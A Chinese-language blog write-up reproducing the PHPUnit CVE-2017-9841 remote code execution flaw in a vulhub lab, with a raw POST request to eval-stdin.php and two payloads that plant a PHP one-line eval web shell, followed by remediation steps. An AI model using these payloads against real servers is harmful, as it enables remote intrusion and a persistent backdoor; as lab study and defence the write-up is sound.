简介

漏洞环境:vulhub

参考链接:

https://blog.csdn.net/csacs/article/details/90640601

https://blog.csdn.net/zy15667076526/article/details/111824844

CVE-2017-9841

PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架,通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹。phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录,则存在远程代码执行漏洞。

composer是php包管理工具,使用composer安装扩展包将会在当前目录创建一个vendor文件夹,并将所有文件放在其中。通常这个目录需要放在web目录外,使用户不能直接访问。

phpunit是php中的单元测试工具,其4.8.19 ~ 4.8.27和5.0.10 ~ 5.6.2版本的vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php文件有如下代码

eval(‘?>’.file_get_contents(‘php://input’));

如果该文件被用户直接访问到,将造成原创代码执行漏洞。

影响版本:

4.8.19 ~ 4.8.27
5.0.10 ~ 5.6.2

漏洞复现

启动vulhub中的docker环境,访问eval-stdin.php的路径:

http://144.34.169.6:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

使用bp进行抓包,将请求方式改为POST,同时将php代码作为请求体。

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 144.34.169.6:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 18

执行结果:

PHPUnit漏洞复现-冯金伟博客园

看博客,写入一句话木马:<?=file_put_contents("test.php", '<?=@eval($_REQUEST[cmd]);?>');,但是我发现我根本写入不进去,提示该文件写入权限不足:

file_put_contents(test.php): failed to open stream: Permission denied in /var/www/html/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php(3) : eval()’d code

PHPUnit漏洞复现-冯金伟博客园

原因是,apache使用的是www-data用户运行,而web目录下的文件用户与用户组权限均为root,eval-stdin.php所在的PHP文件夹,其他用户只有执行和读权限,所以写入失败。

如果要写入一句话木马,需要将PHP目录增加其他用户可写权限。

PHPUnit漏洞复现-冯金伟博客园

也可以用这个写入一句话,<?php file_put_contents("shell.php",'<?php @eval($_POST[cmd]);?>');?>

PHPUnit漏洞复现-冯金伟博客园

漏洞修复

生产环境中直接删掉phpunit
升级phpunit版本
设置权限,禁止访问该目录

本博客虽然很垃圾,但所有内容严禁转载